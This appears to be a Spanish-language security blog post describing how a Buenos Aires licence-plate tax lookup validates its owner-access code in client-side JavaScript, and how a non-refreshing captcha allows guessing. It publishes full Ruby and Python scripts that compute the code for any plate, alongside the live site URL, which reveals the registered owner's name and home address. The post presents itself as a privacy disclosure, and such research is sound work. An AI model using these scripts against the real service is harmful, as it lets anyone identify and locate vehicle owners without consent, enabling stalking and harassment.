/ 8 min de lectura
OSINT de patentes: el registro vehicular argentino


Esta investigación surgió de un caso real: un accidente de tránsito en moto en el que el responsable no se detuvo a asistir y escapó del lugar.
Sin testigos y sin respuesta de la policía, empezamos una búsqueda propia para identificar el vehículo, con el único dato disponible:
El número de patente
Por razones de confidencialidad, no usamos la patente real del caso, sino una que pudimos leer en el registro automotor mientras se tramitaba el seguro.
La pregunta
¿Existe algún sistema que permita consultar los datos y el estado de un vehículo que circula por la calle? La respuesta es sí.
Después de algunas búsquedas en Google, encontramos un servicio de rentas de la provincia de Buenos Aires que permite consultar el estado de deuda de las patentes:
https://lbserver02.agip.gob.ar/ConsultaPat/index.html
El sistema funciona de dos maneras: si no sos el titular, solo podés obtener los datos correspondientes a las deudas del vehículo, pero el sistema no te deja acceder a las secciones que identifican a la persona registrada en el Registro Automotor como titular del vehículo.
Por otro lado, para verificar la titularidad del vehículo, el sistema pide ingresar un número de verificación especial y único que solo debería tener el titular del auto, ya que se usa para imprimir comprobantes de pago de deudas que incluyen los datos personales del titular, garantizando así la privacidad de los datos del usuario.
Lo primero que podemos analizar en el sitio es que el dígito de verificación especial del sistema solo acepta valores que van de 00 a 99 (el valor no es tan único como uno podría pensar).

La patente a estudiar en este post va a ser JMO089. Después de hacer algunas pruebas manuales, podemos ver que el captcha del sistema nunca se actualiza una vez que estamos asociados a una sesión, lo que permite probar manualmente las 99 combinaciones posibles hasta encontrar la correcta.

En la imagen podemos ver que el captcha no cambia mientras probamos las combinaciones numéricas posibles hasta encontrar la correcta, lo que da la posibilidad de programar un brute forcer que pruebe todos los valores posibles hasta dar con el correcto. Pero ese ataque presenta un problema frente a un captcha, que no abordamos por falta de tiempo para programar un OCR.
La pregunta que surgió fue:
¿De qué manera valida el sistema el valor correcto del dígito de verificación?
La primera hipótesis fue que el sistema validaba el valor del lado del servidor después de la consulta, así que empezamos a revisar los requests que hacía el sitio al enviar el formulario, usando Live HTTP Headers.

El análisis mostró que la validación no generaba ningún request hacia el backend. En términos técnicos, eso significa que la validación se hace del lado del cliente, es decir:
EL SISTEMA VALIDA POR JAVASCRIPT
Esto implica que el algoritmo de validación del código de verificación se sirve en algún archivo javascript del lado del navegador, así que empezamos a analizar el documento fuente HTML para identificar alguna pista de la validación. Los primeros archivos que analizamos fueron los siguientes:

Dentro del archivo consultaDatos.js encontramos la siguiente función con un nombre revelador: validaDatos

if (!check.checked && patente.valido(dom1) != true)En la misma función, se puede ver en las líneas resaltadas la estructura donde se decide el mensaje de patente válida: depende del estado marcado del checkbox y del resultado de la función patente.valido(), necesario para resolver correctamente la estructura de decisión del if().
El problema era que la función patente.valido() no estaba en el mismo documento, así que fue necesario encontrar el archivo donde estaba ubicada.
Para quienes no estén familiarizados con el funcionamiento de JavaScript, cabe aclarar que los archivos js representan un código grande estructurado y dividido en distintos archivos para mejorar la organización, pero siempre que esos archivos se incluyen en el HTML, pueden llamar a funciones definidas entre ellos como si fueran todos miembros de la misma clase.
Después de buscar un poco, llegamos al siguiente archivo:

Donde podemos obtener la estructura del código validador:

Función completa: http://pastebin.com/gYTdC9Yh
Después de analizar el código con cuidado, pudimos descubrir su comportamiento final.
El código calcula el dígito de verificación a partir de la patente del vehículo, sustituyendo las letras por números especiales para formar una cadena decimal, que luego suma según su índice: posiciones pares de un lado e impares del otro, como si se tratara de un array.

Luego, si estos valores separados (digi1 y digi2) tienen una longitud mayor a un dígito (0 a 9), se vuelven a sumar respectivamente hasta obtener 2 números independientes con una longitud de un dígito (0 a 9).
Y después los concatena para obtener el número mágico de verificación:

Esta función no tiene ninguna protección y se puede invocar desde la consola de desarrollo de Google Chrome o Firefox:

Con este número de verificación, podemos hacer la consulta con éxito:

Al pedir una factura, podemos ver los datos personales, incluyendo el nombre del titular registrado y su domicilio:


Después de hacer algo de ingeniería inversa, desarrollamos los siguientes scripts que permiten calcular cualquier dígito de verificación con solo el número de patente:
Script en Ruby
require 'colorize' # By hdbreaker
class Calculate def initialize() # Initialize class associative array @letrasValidas = { 'A' => '14', 'B' => '01', 'C' => '00', 'D' => '16', 'E' => '05', 'F' => '20', 'G' => '19', 'H' => '09', 'I' => '24', 'J' => '07', 'K' => '21', 'L' => '08', 'M' => '04', 'N' => '13', 'O' => '25', 'P' => '22', 'Q' => '18', 'R' => '10', 'S' => '02', 'T' => '06', 'U' => '12', 'V' => '23', 'W' => '11', 'X' => '03', 'Y' => '15', 'Z' => '17', ' ' => '60' } end
# Function to calculate license plate number def calculate(patente) patAux = patente.upcase pares = 0 impares = 0
# Block to substitute letters with corresponding numbers @letrasValidas.each { |key| if(patAux.include? key[0]) patAux = patAux.gsub(key[0], key[1]) end }
# Sum odds on one side and evens on the other for x in (0...patAux.length) if (x % 2 == 0) pares += patAux[x].to_i else impares += patAux[x].to_i end end
# If the sum of evens gives a number greater than 1 digit, sum them again until obtaining 1 digit digi1 = pares.to_s while (digi1.length > 1) pares = 0 for x in (0...digi1.length) pares += digi1[x].to_i end digi1 = pares.to_s end
# If the sum of odds gives a number greater than 1 digit, sum them again until obtaining 1 digit digi2 = impares.to_s while (digi2.length > 1) impares = 0 for x in (0...digi2.length) impares += digi2[x].to_i end digi2 = impares.to_s end
# Screen output puts "\n############## Buenos Aires Revenue ##############".green puts "URL: ".green+"https://lbserver02.agip.gob.ar/ConsultaPat/index.html".red puts "License Plate: ".green+patente.red puts "Verification Code: ".green+digi1.red+""+digi2.red puts "\n" endend
if(ARGV.length==1) obj = Calculate.new() obj.calculate(ARGV[0].to_s)else puts "Usage: ruby calculate.rb [license_plate]"endTambién dejo el script en Python creado por [Q]3rV[0]:
Script en Python
#!/usr/bin/env python# -*- coding: utf-8 -*-# Author : [Q]3rV[0]
import re
def main(): pares = 0 impares = 0 letrasPatente = { "A":"14", "B":"01", "C":"00", "D":"16", "E":"05", "F":"20", "G":"19", "H":"09", "I":"24", "J":"07", "K":"21", "L":"08", "M":"04", "N":"13", "O":"25", "P":"22", "Q":"18", "R":"10", "S":"02", "T":"06", "U":"12", "V":"23", "W":"11", "X":"03", "Y":"15", "Z":"17", " ":"60" }
input_plate = raw_input("License Plate Number: ") patente = input_plate.upper()
if re.match("[A-Z][A-Z][A-Z][0-9][0-9][0-9]$", patente) != None: toInt = "" for n in patente[0:3]: toInt += letrasPatente[n] nums = toInt + patente[3:]
for n in range(len(nums)): if n % 2 == 0: pares += int(nums[n]) else: impares += int(nums[n])
while len(str(pares)) != 1: dp = 0 for p in str(pares): dp += int(p) pares = dp
while len(str(impares)) != 1: di = 0 for i in str(impares): di += int(i) impares = di
print "| License Plate: %s | Verification Code: %s%s |" % (patente, pares, impares) else: print "[*] Error, Make sure the license plate format is correct. Example: GTD125"
if __name__ == '__main__': main()Conclusión
Esta investigación busca generar conciencia sobre la seguridad de los datos personales: la falla está en un sistema gubernamental que expone de manera irresponsable información personal asociada a cada patente.
El impacto va más allá de lo técnico. Cualquier persona que conozca el número de patente de un vehículo puede obtener el nombre y el domicilio de su titular sin autorización, lo que además del riesgo de privacidad habilita escenarios de acoso o daño a terceros.
Investigación realizada por: el equipo de Volt AI
Post original: Security Signal Blog
Impacto: Demuestra vulnerabilidades serias de privacidad en sistemas gubernamentales